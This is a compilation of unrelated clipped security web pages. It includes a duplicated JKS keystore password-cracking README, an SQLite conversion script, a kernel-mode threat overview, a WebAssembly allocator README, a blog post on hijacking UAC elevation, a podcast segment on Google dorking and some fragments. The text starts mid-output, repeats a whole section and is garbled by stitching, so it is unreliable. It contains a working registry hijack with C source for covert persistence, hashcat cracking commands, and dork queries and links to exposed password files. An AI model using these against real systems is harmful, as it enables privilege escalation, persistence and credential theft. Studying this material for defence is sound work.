    Speed.Dev.#1.....:  7946.6 MH/s (39.48ms)
    Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
    Progress.........: 4014116700160/7625597484987 (52.64%)
    Rejected.........: 0/4014116700160 (0.00%)
    Restore.Point....: 5505024000/10460353203 (52.63%)
    Candidates.#1....: NNVGFSRFO -> Z|ZFVDUFO
    HWMon.Dev.#1.....: Temp: 75c Fan: 89% Util:100% Core:1936MHz Mem:4513MHz Bus:1
    
    Started: Tue May 30 17:41:56 2017
    Stopped: Tue May 30 17:50:24 2017
    
[/code]

So from this repository you basically only need the JksPrivkPrepare.jar to run
a cracking session.

# Other things in this repository

  * test\_run.sh: A little test script that you should be able to run after a couple of minutes to see this project in action. It includes comments on how to setup the dependencies for this project.
  * benchmarking: tests that show why you should use this technique and not others. Please read the "Nail in the JKS coffin" article.
  * example\_jks: generate example JKS files
  * fingerprint\_creation: Every plaintext private key in PKCS\#8 has it's own "fingerprint" that we expect when we guess the correct password. These fingerprints are necessary to make sure we are able to detect when we guessed the correct password. Please read the "Nail in the JKS coffin" article. This folder has the code to generate these fingerprints, it's a little bit hacky but I don't expect that it will be necessary to add any other fingerprints ever.
  * JksPrivkPrepare: The source code of how the JKS files are read and the hash calculated we need to give to hashcat.
  * jksprivk\_crack.py: A proof of concept implementation that can be used instead of hashcat. Obviously this is much slower than hashcat, but it can outperform John the Ripper \(JtR\) in certain cases. Please read the "Nail in the JKS coffin" article.
  * jksprivk\_decrypt.py: A little helper script that can be used to extract a private key once the password was correctly guessed.
  * run\_example\_jks.sh: A script that runs JksPrivkPrepare.jar and jksprivk\_crack.py on all example JKS files in the example\_jks folder. Make sure you run the generate\_examples.py in example\_jks script before.

# Related work and further links

A big shout to Casey Marshall who wrote the JKS.java class, which is used in a
modified version in this project:

[code]

    /* JKS.java -- implementation of the "JKS" key store.
       Copyright (C) 2003  Casey Marshall <rsdio@metastatic.org>
    
    Permission to use, copy, modify, distribute, and sell this software and
    its documentation for any purpose is hereby granted without fee,
    provided that the above copyright notice appear in all copies and that
    both that copyright notice and this permission notice appear in
    supporting documentation.  No representations are made about the
    suitability of this software for any purpose.  It is provided "as is"
    without express or implied warranty.
    
    This program was derived by reverse-engineering Sun's own
    implementation, using only the public API that is available in the 1.4.1
    JDK.  Hence nothing in this program is, or is derived from, anything
    copyrighted by Sun Microsystems.  While the "Binary Evaluation License
    Agreement" that the JDK is licensed under contains blanket statements
    that forbid reverse-engineering (among other things), it is my position
    that US copyright law does not and cannot forbid reverse-engineering of
    software to produce a compatible implementation.  There are, in fact,
    numerous clauses in copyright law that specifically allow
    reverse-engineering, and therefore I believe it is outside of Sun's
    power to enforce restrictions on reverse-engineering of their software,
    and it is irresponsible for them to claim they can.  */
    
[/code]

Various more information which are mentioned in the article as well:

  * JKS is going to be replace as the default type in Java 9 http://openjdk.java.net/jeps/229
  * https://gist.github.com/zach-klippenstein/4631307
  * http://www.openwall.com/lists/john-users/2015/06/07/3
  * https://github.com/bes/KeystoreBrute
  * https://github.com/jeffers102/KeystoreCracker
  * https://github.com/volure/keystoreBrute
  * https://gist.github.com/robinp/2143870
  * https://www.darknet.org.uk/2015/06/patator-multi-threaded-service-url-brute-forcing-tool/
  * https://github.com/rsertelon/android-keystore-recovery
  * https://github.com/MaxCamillo/android-keystore-password-recover
  * https://cryptosense.com/mighty-aphrodite-dark-secrets-of-the-java-keystore/
  * https://hashcat.net/events/p12/js-sha1exp\_169.pdf
  * https://github.com/hashcat/hashcat

Neighborly greetings go out to atom, vollkorn, cem, doegox, corkami, xonox and
rexploit for supporting this research in one form or another\!

# JKS private key cracker - Nail in the JKS coffin

The Java Key Store \(JKS\) is the Java way of storing one or several
cryptographic private and public keys for asymmetric cryptography in a file.
While there are various key store formats, Java and Android still default to
the JKS file format. JKS is one of the file formats for Java key stores, but
JKS is confusingly used as the acronym for the general Java key store API as
well. This project includes information regarding the security mechanisms of
the JKS file format and how the password protection of the private key can be
cracked. Due the unusual design of JKS the developed implementation can ignore
the key store password and crack the private key password directly. Because it
ignores the key store password, this implementation can attack every JKS
configuration, which is not the case with most other tools. By exploiting a
weakness of the Password Based Encryption scheme for the private key in JKS,
passwords can be cracked very efficiently. Until now, no public tool was
available exploiting this weakness. This technique was implemented in hashcat
to amplify the efficiency of the algorithm with higher cracking speeds on
GPUs.

To get the theory part, please refer to the POC||GTFO article "15:12 Nail in
the Java Key Store Coffin" in issue 0x15 included in this repository
\(pocorgtfo15.pdf\) or available on various mirros like this beautiful one:
https://unpack.debug.su/pocorgtfo/

Before you ask: JCEKS or BKS or any other Key Store format is not supported
\(yet\).

# How you should crack JKS files

The answer is build your own cracking hardware for it ;\) . But let's be a
little more practical, so the answer is using your GPU:

[code]

        _____:  _____________         _____:  v3.6.0     ____________
       _\    |__\______    _/_______ _\    |_____ _______\______    /__ ______
       |     _     |  __   \   ____/____   _     |   ___/____  __    |_______/
       |     |     |  \    _\____      /   |     |   \      /  \     |     |
       |_____|     |______/     /     /____|     |_________/_________:     |
             |_____:-aTZ!/___________/     |_____:                 /_______:
     
    * BLAKE2 * BLOCKCHAIN2 * DPAPI * CHACHA20 * JAVA KEYSTORE * ETHEREUM WALLET *
    
[/code]

All you need to do is run the following command:

[code]

    java -jar JksPrivkPrepare.jar your_JKS_file.jks > hash.txt
    
[/code]

If your hash.txt ends up being empty, there is either no private key in the
JKS file or you specified a non-JKS file.

Then feed the hash.txt file to hashcat \(version 3.6.0 and above\), for
example like this:

[code]

    $ ./hashcat -m 15500 -a 3 -1 '?u|' -w 3 hash.txt ?1?1?1?1?1?1?1?1?1
    hashcat (v3.6.0) starting...
    
    OpenCL Platform #1: NVIDIA Corporation
    ======================================
    * Device #1: GeForce GTX 1080, 2026/8107 MB allocatable, 20MCU
    
    Hashes: 1 digests; 1 unique digests, 1 unique salts
    Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
    
    Applicable optimizers:
    * Zero-Byte
    * Precompute-Init
    * Not-Iterated
    * Appended-Salt
    * Single-Hash
    * Single-Salt
    * Brute-Force
    
    Watchdog: Temperature abort trigger set to 90c
    Watchdog: Temperature retain trigger set to 75c
    
    $jksprivk$*D1BC102EF5FE5F1A7ED6A63431767DD4E1569670...8*test:POC||GTFO
                                                              
    Session..........: hashcat
    Status...........: Cracked
    Hash.Type........: JKS Java Key Store Private Keys (SHA1)
    Hash.Target......: $jksprivk$*D1BC102EF5FE5F1A7ED6A63431767DD4E1569670...8*test
    Time.Started.....: Tue May 30 17:41:58 2017 (8 mins, 25 secs)
    Time.Estimated...: Tue May 30 17:50:23 2017 (0 secs)
    Guess.Mask.......: ?1?1?1?1?1?1?1?1?1 [9]
    Guess.Charset....: -1 ?u|, -2 Undefined, -3 Undefined, -4 Undefined 
    Guess.Queue......: 1/1 (100.00%)
    Speed.Dev.#1.....:  7946.6 MH/s (39.48ms)
    Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
    Progress.........: 4014116700160/7625597484987 (52.64%)
    Rejected.........: 0/4014116700160 (0.00%)
    Restore.Point....: 5505024000/10460353203 (52.63%)
    Candidates.#1....: NNVGFSRFO -> Z|ZFVDUFO
    HWMon.Dev.#1.....: Temp: 75c Fan: 89% Util:100% Core:1936MHz Mem:4513MHz Bus:1
    
    Started: Tue May 30 17:41:56 2017
    Stopped: Tue May 30 17:50:24 2017
    
[/code]

So from this repository you basically only need the JksPrivkPrepare.jar to run
a cracking session.

# Other things in this repository

  * test\_run.sh: A little test script that you should be able to run after a couple of minutes to see this project in action. It includes comments on how to setup the dependencies for this project.
  * benchmarking: tests that show why you should use this technique and not others. Please read the "Nail in the JKS coffin" article.
  * example\_jks: generate example JKS files
  * fingerprint\_creation: Every plaintext private key in PKCS\#8 has it's own "fingerprint" that we expect when we guess the correct password. These fingerprints are necessary to make sure we are able to detect when we guessed the correct password. Please read the "Nail in the JKS coffin" article. This folder has the code to generate these fingerprints, it's a little bit hacky but I don't expect that it will be necessary to add any other fingerprints ever.
  * JksPrivkPrepare: The source code of how the JKS files are read and the hash calculated we need to give to hashcat.
  * jksprivk\_crack.py: A proof of concept implementation that can be used instead of hashcat. Obviously this is much slower than hashcat, but it can outperform John the Ripper \(JtR\) in certain cases. Please read the "Nail in the JKS coffin" article.
  * jksprivk\_decrypt.py: A little helper script that can be used to extract a private key once the password was correctly guessed.
  * run\_example\_jks.sh: A script that runs JksPrivkPrepare.jar and jksprivk\_crack.py on all example JKS files in the example\_jks folder. Make sure you run the generate\_examples.py in example\_jks script before.

# Related work and further links

A big shout to Casey Marshall who wrote the JKS.java class, which is used in a
modified version in this project:

[code]

    /* JKS.java -- implementation of the "JKS" key store.
       Copyright (C) 2003  Casey Marshall <rsdio@metastatic.org>
    
    Permission to use, copy, modify, distribute, and sell this software and
    its documentation for any purpose is hereby granted without fee,
    provided that the above copyright notice appear in all copies and that
    both that copyright notice and this permission notice appear in
    supporting documentation.  No representations are made about the
    suitability of this software for any purpose.  It is provided "as is"
    without express or implied warranty.
    
    This program was derived by reverse-engineering Sun's own
    implementation, using only the public API that is available in the 1.4.1
    JDK.  Hence nothing in this program is, or is derived from, anything
    copyrighted by Sun Microsystems.  While the "Binary Evaluation License
    Agreement" that the JDK is licensed under contains blanket statements
    that forbid reverse-engineering (among other things), it is my position
    that US copyright law does not and cannot forbid reverse-engineering of
    software to produce a compatible implementation.  There are, in fact,
    numerous clauses in copyright law that specifically allow
    reverse-engineering, and therefore I believe it is outside of Sun's
    power to enforce restrictions on reverse-engineering of their software,
    and it is irresponsible for them to claim they can.  */
    
[/code]

Various more information which are mentioned in the article as well:

  * JKS is going to be replace as the default type in Java 9 http://openjdk.java.net/jeps/229
  * https://gist.github.com/zach-klippenstein/4631307
  * http://www.openwall.com/lists/john-users/2015/06/07/3
  * https://github.com/bes/KeystoreBrute
  * https://github.com/jeffers102/KeystoreCracker
  * https://github.com/volure/keystoreBrute
  * https://gist.github.com/robinp/2143870
  * https://www.darknet.org.uk/2015/06/patator-multi-threaded-service-url-brute-forcing-tool/
  * https://github.com/rsertelon/android-keystore-recovery
  * https://github.com/MaxCamillo/android-keystore-password-recover
  * https://cryptosense.com/mighty-aphrodite-dark-secrets-of-the-java-keystore/
  * https://hashcat.net/events/p12/js-sha1exp\_169.pdf
  * https://github.com/hashcat/hashcat

Neighborly greetings go out to atom, vollkorn, cem, doegox, corkami, xonox and
rexploit for supporting this research in one form or another\!

  

# SQLite zu MySQL konvertieren | treibsand.com
**Created:**| _9/10/2010 9:50:49 AM_  
---|---  
**Updated:**| _9/10/2010 9:50:49 AM_  
**Author:**| _wishi_  
**Tags:**| _Databases programming_  
  

## SQLite zu MySQL konvertieren

* * *
Coding MySQL, Python, SQLite  
  
Es kann vorkommen, dass man ein kleines Projekt beginnt und der Einfachheit
halber eine SQLite Datenbank dafuer verwendet. Mit der Zeit wachst aber der
Datenbestand und SQLite ist dann damit überfordert. Da Hilft nur noch die
Datenbank in ein performanteres System zu migrieren, z.B. MySQL. Allerdings
gibt es dabei ein kleines Problem. Die SQLite Dumps sind nicht kompatibel mit
MySQL, so dass man erst den Dump konvertieren muss. Für den Fall hilft ein
kleines Script aus:

[code]

    #!/usr/bin/env python
     
    import sys
    import re
     
    file = sys.stdin.read()
    file = re.sub(r'(CREATE (TABLE|INDEX)[^;]*|COMMIT|BEGIN TRANSACTION);', '', file)
    file = re.sub(r'INSERT INTO "([^"]+)"', lambda m: 'INSERT INTO `%s`' % m.groups(1), file)
    sys.stdout.write(file)
    
[/code]

Damit lässt sich der Dump wie folgt konvertieren:

[code]

    ./sqlite2mysql < sqlite_dump.sql > mysql_dump_dataonly.sql
    
[/code]  
---

# Kernel Mode Threats & Practical Defenses: Part 1

**Created:**| _9/23/2018 8:39:01 AM_  
---|---  
**Updated:**| _9/23/2018 8:39:01 AM_  
**Author:**| _wishi_  
**Tags:**| _windows security kernel_  
  

  

# Kernel Mode Threats & Practical Defenses: Part 1

__ Gabriel Landau, __ Joe Desimone

September 19, 2018

<img src='img/Temp2_4775.png' width='593' height='349' />

Recent advancements in OS security from Microsoft such as PatchGuard, Driver
Signature Enforcement, and SecureBoot have helped curtail once-widespread
commodity kernel mode malware including TDL4 and ZeroAccess. However, advanced
attackers have found ways of evading these protections and continue to
leverage kernel mode malware to stay one step ahead of the defenders. Kernel
mode threats generally have total control over the affected machine, can re-
write the rules of the operating system, and can easily tamper with security
software.

  
APT groups realize these benefits and are exploiting them to stay ahead of
defenders. In this first of a two-part series stemming from our recent Black
Hat talk on kernel mode threats, we will dive deep into the evolution of
kernel mode threats and the current state of these attacks. Through thoughtful
integration of extant, in the wild exploits and tactics, attackers have access
to a range of capabilities that enable more sophisticated and hard to detect
kernel mode attacks. Our next post will focus on defending against these
attacks, but first it is essential to understand the state of the art of
kernel mode threats. Through these two posts, we hope to increase the
community’s exposure to these threats and ultimately improve the industry’s
defensive posture.

## Evolution of Kernel Threats and Platform Protections

###

### Early Kernel Malware

Over 10 years ago, the first truly widespread kernel malware came onto the
scene. There were no operating system defenses for these threats at the time,
so they flourished. Rustock, TDSS, and ZeroAccess malware families had
millions of infections at their peaks. They all shared a similar technique for
gaining ring0 execution by infecting existing drivers on disk. They also
commonly included rootkit features for hiding files, processes, and network
connections from users and security software.

**<img
src='img/1HdshE7sY9nkQs7IW6TRBuqE4xiTXFUpekBlZCv_W5a35l1RmcRnPZwAufHgDA0_t9En_bWHEXPqiZbJkvdkSghDOo7hiaxeh3rs2uydy7xKFeYGATbDXCvJ2NPeB154pYqqBDrE.jpg'
width='230' height='160' />**

In response to the widespread malware of the late 2000s, Microsoft responded
with two technologies that sought to mitigate them. The first was PatchGuard.
PatchGuard is designed to detect rootkit-style techniques, such as hooking,
and then subsequently crashes the machine. PatchGuard is not perfect and can
be bypassed, but it is continually evolving, making it a moving obstacle for
attackers.

Microsoft also created another protection - Driver Signature Enforcement or
DSE. DSE requires that all drivers are signed by a valid signature before they
can be loaded. DSE prevents drivers that have been infected with malware
\(breaking the digital signature in the process\) from loading on the system.
It also prevents directly loading unsigned malicious drivers.​ Both defenses
became more important as the market share for 64 bit windows increased.

### Bootkit Malware

To evade DSE \(and in some cases PatchGuard\), malware authors began
leveraging Bootkits to get their malware loaded into kernel mode. ​Bootkits
tamper code associated with the early operating system boot process, such as
the MBR, VBR, or other OS specific bootloader code.​ ​

<img src='img/Temp2_4774.png' width='205' height='266' />

This includes the original proof of concept eEye BootRoot, along with
widespread threats such as Sinowal, TDL4, and XPaj. One interesting aspect of
XPaj was its ability to bypass PatchGuard by performing hooks early in the
boot process, even before PatchGuard itself was initialized. This meant
PatchGuard would implicitly trust the hooks as part of the legitimate code.

<img src='img/Temp2_4773.png' width='158' height='183' />

The security industry responded to bootkit malware by creating Secure Boot.
This technology is baked into the Unified Extensible Firmware Interface
\(UEFI\) specification, and was implemented by Microsoft starting in Windows
8. Secure Boot works by having the UEFI runtime \(which is a replacement for
legacy BIOS\) validate the digital signature of the OS boot loader before
executing it.

Any modifications by malware would result in an unbootable PC. ​​Microsoft
expanded this approach with Trusted Boot, which works similarly to Secure Boot
but continues this signature validation phase throughout the entire boot
process.​​ The downside to Secure Boot is that it doesn't protect from
compromised firmware, because the firmware is allowed to run before Secure
Boot checks. However, technologies like Intel's Boot Guard counter firmware
attacks by moving the "root of trust" all the way to an immutable section of
the CPU.​​

###

### Bring Your Own Vuln

While DSE, PatchGuard, and Secure Boot have dramatically reduced the landscape
of commodity kernel mode threats, nation-state level threats continue to find
creative ways to circumvent these platform protections. ​APT-level kernel mode
malware often installs a legitimate, signed vulnerable driver which is then
exploited to gain kernel code execution, thereby side-stepping DSE. ​Threats
such as Uroburos, Derusbi, and Slingshot have all employed this approach.
Another notable technique, leveraged by Derusbi and other groups, is to steal
legitimate certificates and use them to sign malware drivers.​

​Even more advanced nation-state level threats, such as Duqu, do not bother
with installing and exploiting a vulnerable driver. Instead, they exploit the
kernel directly with an 0day. To further evade detection, Duqu hooks the
import address table of an installed Kaspersky driver, and tricks the driver
into thinking its malicious user process was a trusted Kaspersky process. The
Kaspersky driver would then whitelist it completely, as well as prevent it
from being terminated by the local users or other malware.​ For actual
persistence, Duqu dropped a driver implant to disk in the network DMZ. This
driver was signed with a stolen Foxconn certificate. This implant serves as a
gateway into the entire network as it could redirect network traffic to any
internal destination.

DOUBLEPULSAR is also worth a strong mention. It is a very lightweight kernel
mode implant that lives only in memory; it has no reboot persistence. ​It is
typically loaded onto a system using a remote ring0 exploit such as
ETERNALBLUE. ​DOUBLEPULSAR allows attackers with stealthy remote access onto
the system by hooking a function pointer in the SMBv1 driver \(srv.sys\). At
the time, this function pointer was not monitored by PatchGuard. From there it
allows attackers to load more kernel mode code, or inject a full featured
payload into user mode.​ It became a widespread threat after it was leaked and
picked up by other adversaries, such as in the WannaCry and NotPetya attacks.

To mitigate from attackers who exploit their way to kernel mode, MS released
Virtualization Based Security or VBS.​ With VBS, the kernel is sandboxed by
the hypervisor and no longer has complete control over the system.​

**<img
src='img/SaGxaShp-o0YKwKGu2XMdJEbcR5LFTQI6imPfkm6hnri0wk6zuBy55Q9yIqUoFc5-4gyDoQlycWuImh4qm2ICyKK1JtZ3BrnBNW1uaD5bIJYiT5IZT9nvyUJi7Q9sJbArJtc-w3l.png'
width='328' height='177' />**

Hypervisor Code Integrity \(HVCI\) extends VBS and requires all kernel code be
signed. Furthermore, kernel memory is no longer allowed to be both writable
and executable \(known as W^X\). HVCI stops many kernel mode threats such as
Turla Driver Loader \(discussed in our next post\) and DOUBLEPULSAR.​
Credential Guard also leverages the hypervisor to protect credentials from
tools like mimikatz​.

## Looking Ahead

The mitigations discussed thus far are only a prominent subset of the kernel
mitigations that Microsoft has implemented in the last 10 years, and they have
significantly increased investment against these threats in more recent OS
versions \(especially Win10\). However, market share remains a major concern.
A large user base is still running Win7, and many organizations that have
upgraded to Win10 are not yet leveraging the most advanced kernel protections.
Because these protections are still not widely implemented, attackers will
continue to pursue low cost kernel attacks.

So what can be done to protect against kernel mode threats? In our next post,
we will present our latest research on offensive tradecraft, which directly
informs how we protect against these threats. This includes the role of red
and blue exercises, hunting, and real-time protections. Although kernel mode
threats will continue to evolve, the state of the art in malware detection has
also advanced to hinder these new kernel mode threats. Next, we will equip you
with new detections and insights to stay a step ahead of evolving kernel mode
threats.

  

# jedisct1/was-not-wasm

**Created:**| _3/2/2019 6:10:13 PM_  
---|---  
**Updated:**| _3/2/2019 6:10:13 PM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

# WAS \(not WASM\)

A hostile memory allocator to make WebAssembly applications more predictable.

## Blurb

The WebAssembly memory model doesn't offer any protection against buffer
underflows/overflows.

As long as accesses are made within the bounds of the linear memory segments,
no page faults will ever occur.

Besides facilitating heartbleed-class vulnerabilities, this memory model is
also painful for application developers.

Where a native application may crash in the same context, out-of-bounds
accesses in a WebAssembly application may cause silent memory corruption and
subtle, tedious-to-debug bugs.

WAS \(not WASM\) is a simple memory allocator designed to catch memory issues
in WebAssembly compilers and applications.

WAS \(not WASM\) makes the heap inaccessible, except for pages explicitly
allocated by the application.

WAS \(not WASM\) makes static data read-only. Writing to a `NULL` pointer will
fault.

WAS \(not WASM\) never reuses allocated pages after they are `free()`'d.
Deallocated pages become inaccessible.

WAS \(not WASM\) fills newly allocated regions with junk.

WAS \(not WASM\) ensures that a guard page immediately follows every single
allocation, so that a single-byte overflow will cause a fault.

WAS \(not WASM\) inserts a canary in partially allocated pages, and verifies
that it hasn't been tampered with in order to detected underflows.

WAS \(not WASM\) detects double-free\(\), use-after-free\(\), invalid
free\(\).

WAS \(not WASM\) keeps track of the number of allocations, deallocations and
total memory usage, so you can scream at how many of these WebAssembly
applications do, and optimize yours accordingly.

WAS \(not WASM\) is not designed to be fast. It is designed to help you
develop safer applications. Or eventually faster applications, by using unsafe
constructions with more confidence.

WAS \(not WASM\) runs WASM code using Cranelift and Wasmer.

## Installation

Install Rust, and use `cargo`:

[code]

    cargo install
[/code]

## Usage

[code]

    USAGE:
        was [FLAGS] [OPTIONS] --file <file>
    
    FLAGS:
        -c, --canary-check-on-alloc
        -h, --help                     Prints help information
        -V, --version                  Prints version information
    
    OPTIONS:
        -e, --entrypoint <entrypoint>     [default: main]
        -f, --file <file>
        -b, --heap-base <heap_base>       [default: 65536]
    
[/code]

Example:

[code]

    was -f app.wasm
[/code]

The `--canary-check-on-alloc` option checks every single canary before every
single allocation. This is slow, and will get slower as the number of
allocation grows.

The `--heap-base` option sets how much data is already present on the heap
before dynamic allocations are performed. This is typically used to store
static data. When using AssemblyScript, the optimal value for the heap base is
stored in the `HEAP_BASE` global.

## Usage with AssemblyScript

WAS \(not WASM\) was originally made to work with AssemblyScript.

In order to do so, use the `system` allocator:

[code]

    import 'allocator/system';
[/code]

Optionally, in order to check canaries when the application terminates, call
the `terminate()` function in your `index.ts` file:

[code]

    declare function terminate(): void;
    
    @global export function main(): void {
       ...
       terminate();
    }
[/code]

AssemblyScript stores static data at the beginning of the heap. The heap base
after this static data is stored in the `HEAP_BASE` global.

A quick way to print it while using WAS \(not WASM\) is to temporarily add
this to your application:

[code]

    declare function debug_val(val: u32): void;
    
    debug_val(HEAP_BASE);
[/code]

  

# Room362.com - Blog - \(UAC\) User Assisted Compromise

**Created:**| _1/3/2012 4:33:43 PM_  
---|---  
**Updated:**| _1/3/2012 4:33:43 PM_  
**Author:**| __  
**Tags:**| _post-exploitation windows_  
  

## \(UAC\) User Assisted Compromise

Tuesday, January 3, 2012 at 1:56AM

A number of times during tests I've actually run into those mythical creatures
called "patched windows machines". At DerbyCon Chris Gates and I released the
"Ask" post module \(which I had failed to publish\). This module very simply
uses the ShellExecute windows function via Railgun with the undocumented \(but
very well known\) operator of 'runas'. These two lines accomplished that:

[code]

    client.railgun.add_function( 'shell32', 'ShellExecuteA', 'DWORD',[["DWORD","hwnd","in"],["PCHAR","lpOperation","in"],["PCHAR","lpFile","in"],["PCHAR","lpParameters","in"],["PCHAR","lpDirectory","in"],["DWORD","nShowCmd","in"],])
    client.railgun.shell32.ShellExecuteA(nil,"runas","evil.exe",nil,nil,5)
    
[/code]

This would quite simply prompt the user with that annoying UAC prompt asking
the user to run 'evil.exe' with Administrative privs. If they are not "Admins"
themselves then it would prompt them for the user name and password \(normally
the case in systems attached to domains\). Something to be aware of: If your
evil.exe is not code-signed the UAC box will be orange instead of blue. You
can get around this a bit by using rundll32.exe \(which is signed ;-\) \) as
is svchost.exe. \(You may also want to not name it evil.exe\)

The downfall here is that 1. You have to drop a binary \(boooo\) 2. You are
prompting the user for UAC control when they didn't do anything to cause it.
Users are generally as smart as bait, but it's good practice to assume to the
contrary. If for nothing else other than to challenge yourself to up your
game.

Number 1 I'll leave to another post, so lets solve \#2.

When a "runas" ShellExecute \(which UAC runs natively \#hint\#hint\) a few
registry locations are checked. One I'd like to point out is the
HKLM\Software\Classes\exefile key. The 'exefile' as should be obvious is the
registry settings for executables, and as such tells Windows how to interact
with them. In HKLM \(which is only writable by Administrators\) the
"shell\open", "shell\runas" and "shell\runasuser" subkeys exist \(the
structure looks oddly familiar to anyone who visited the ShellExecute page
more than once\). Inside "shell\open\command" the default string has "%1" %\*
- this basically means execute the binary %1 and hand the arguments given
directly to it %\*. Awesome\! From here you can alter how every EXE runs on
the system \(don't do it, Windows doesn't like you afterwards, trust me, and
remember to snapshot if you don't\).

Great, but how does this help us, we aren't admins. HKCU is writable by the
'Current User' hence the name, and it so happens to have a very similar
registry path: HKCU\Software\Classes. Depending on your system, it may or may
not have a "exefile" subkey. If it doesn't it's pretty easy to create. Lets
make it match the "runas" one in HKLM

The tree should look something like this when you are done:

  * HKLM 
    * Software 
      * Classes 
        * exefile 
          * shell 
            * runas 
              * command

Under command change the default value to "%1" %\* just as it is in HKLM, and
add a new String value called 'IsolatedCommand' with the same value as
default. With these settings, very little has changed on the system or its
operation. However, if we change the 'IsolatedCommand' String to 'notepad.exe'
and attempt to 'Run As Administrator' on that system using any binary guess
what happens? Notepad\! \(as Admin\). w00t. Now we can swap in our evil.exe
and bob wins right? Sorta. We still have that horrible problem of stealth.
Whatever the user was trying to UAC up won't work, and they'll try it again,
and start investigating the problem, which we don't want them to do.

Enter 'runyou.exe', it's some very simple C++ that weighs in at a whopping 8k
when compiled \(probably could loose some weight by those who know better
compiler options\):

[code]

    #include "windows.h"
    #include "stdio.h"
    #include "tchar.h"
    
    int _tmain(int argc, _TCHAR* argv[])
    {
        if (argv[1])
        {
            ShellExecuteW(NULL,NULL,argv[1],NULL,NULL,SW_SHOW);
            if (argv[2])
            {
                ShellExecuteW(NULL,NULL,argv[2],NULL,NULL,SW_HIDE);
            }
        }
        return 0;
    }
    
[/code]

This code executes the first program visibly and then the second hidden. You
probably see where this is going, but we change our IsolatedCommand String to
runyou.exe %1 evil.exe and now we give them exactly what they want in an
elevated state, but also get our evil binary there too ;-\)

The very real down side to this is you have to wait for the user to use UAC
\(this does not work if someone else does, it's only for the current user
HKCU\). But, as a side benefit, it's a very real form of sneaky persistence as
well, as it will execute our evil binary every single time they use UAC.

Game Over... ;-\)

# Episode150 - PaulDotCom Security Weekly

**Created:**| _8/5/2009 1:01:42 PM_  
---|---  
**Updated:**| _8/5/2009 1:01:51 PM_  
**Author:**| __  
**Tags:**| _Google pauldotcom_  
  

## Tech Segment

Google Hacking: Even More

We're looking to take your google hacking to the next level. We love google,
because of the things that it can find and give to us. The trick of course is
that we need to figure out how to make google give up the goods.

I put the call out for folks to share their google fu. this is what I got back

Viss:

"filetype:cfg password" Turns up stuff like this: https://www-
rp.lip6.fr/trac/pfres/attachment/wiki/Entreprise2Gateway1/config\_J2300\_2007-05-21.cfg

"filetype:xls password"
https://gforge.nci.nih.gov/svnroot/caarray2/trunk/qa/docs/Test%20Cases/Regression\_Tests/TC2\_Login\_use\_case.xls

This one can even get better: “login: \*” “password= \*” filetype:xls

returns this: www.adinternational.be/Word/Recruitment\_rates.xls

  
woah:
http://bitsnbytes.org/KnowledgeBase/ILS\_DC\_Passwords/Old%20Password%20List.xls

  
Montejam: site:google.com filetype:doc "draft" + architecture

TimelessP:
http://www.google.co.uk/codesearch?hl=en&lr=&q=^\bsystem\\\(.\*\%24\_get.\*%24+lang%3Aphp+-escapeshellarg+-escapeshellcmd&sbtn=Search

Nice, gotta love using google code to find vulnerabilities or programming
errors.

Some of my favorites:
http://www.google.com/search?q=intitle:%22Index+of%22+%22.htpasswd%22+%22htgroup%22++-intitle:%22dist%22+-apache+-htpasswd.c&hl=en&lr=&ie=UTF-8&safe=off&start=10&sa=N

  
www.iabass.com/pics/Combined%20WLP%20.xls

  
intitle:index.of signons2.txt intitle:index.of signons3.txt

http://fullloon.com/mnfan/2009-xfer/Cookies/Recent/New%20Folder/Application%20Data/Mozilla/Firefox/Profiles/default.ggs/signons3.txt

  

## Stories For Discussion

  1. 2 more Adobe reader vulns \- \[Larry\] - Oh boy, is Adobe PDF the new target? Seems real effective for folks to let into their organizations, as they had been fairly innocuous. Looks like the way to neuter is to disable javascript in the PDF viewer....but really, who uses javascript in PDFs? Need to neuter at the source? Try Didier's PDFiD.
  2. Social Networking for Data Exfiltratrion \- \[Larry\] - Really? Folks are posting sensitive internal docs and revealing internal structure to social networking sites? Now this, I have to see. Sure I can see other info, but not the smoking gun.
  3. Delicious for information gathering \- \[Larry\] Wow, search what everyone had bookmarked. Certainly there can be some ineteresitng terms in URLs, such as usernames and passwords. Not to mention, how many folks bookmark internal resources.
  4. A tutorial for FOCA \- \[Larry\] - Another neat tool for metadata analysis. A great compliment to metagoofil. I've had a few issues with it, such as crashing with large scans, and to me, the interface silt intuitive. At that, the tool works really well on the analysis portion.
  5. Slaying One More Dragon, MS disables Autorun \- \[PaulDotCom\] - Apparently the Conficker wormm, amoung other threats, has forced MS to disable this feature. U3 still works though. I highly recommend people check out software like Device Lock.
  6. Screenshot tool with timestamps \- \[PaulDotCom\] - This sounds great, I love screenshots. In more presentation for the Zen web cast I talked about this, how important screenshots are in your report. Sometimes its the Win3k screensaver, and sometimes its GOLD, like passwords on the screen, etc.. Nice to have the timestamp too.
  7. Do we need AES-256? -\[PaulDotCom\] - I'll be honest, I didn't read this one all the way through, but if its feasible, wouldn't you want the strongest encryption possible? Just because someone can't break it now, doesn't mean someone won't in the future. Or, how about this, what if someone can break encryption now and just isn't telling anyone.
  8. When DoS is more than a DoS - SCTP remote exploit \- \[PaulDotCom\] - SCTP is a layer 4 protocol, just like TCP, you probably haven't heard about it, or if you did didn't pay much attention. However, did you know its baked into most Linux kernels? Also, did you know that there is a remote exploit out there for it? Also, if you are a non-priveleged user you can run services that support SCTP and then execute a remote expoploit. Check out the withsctp command, it will run commands with SCTP support. Try xinetd, enable small services, and you are off to the races. Many popular tools don't yet support SCTP\!

# Extracting a URL in Python - Stack Overflow

**Created:**| _5/9/2009 11:24:51 AM_  
---|---  
**Updated:**| _5/9/2009 11:25:04 AM_  
**Author:**| __  
**Tags:**| _regex python_  
  
<img src='img/Temp2_3052.png' width='40' height='25' alt='vote up' /> 7 <img
src='img/Temp2_3053.png' width='40' height='25' alt='vote down' />  
|

[code]

    >>> from urllib.parse import urlparse  
    >>> urlparse('http://www.ggogle.com/test?t')  
    ParseResult(scheme='http', netloc='www.ggogle.com', path='/test',  
            params='', query='t', fragment='')  
    
[/code]

or py2.\* version:

[code]

    >>> from urlparse import urlparse  
    >>> urlparse('http://www.cwi.nl:80/%7Eguido/Python.html')  
    ParseResult(scheme='http', netloc='www.cwi.nl:80', path='/%7Eguido/Python.html',  
            params='', query='', fragment='')
[/code]  
---|---

# System Programming: Simple Virtual Machine

**Created:**| _12/29/2011 1:21:46 PM_  
---|---  
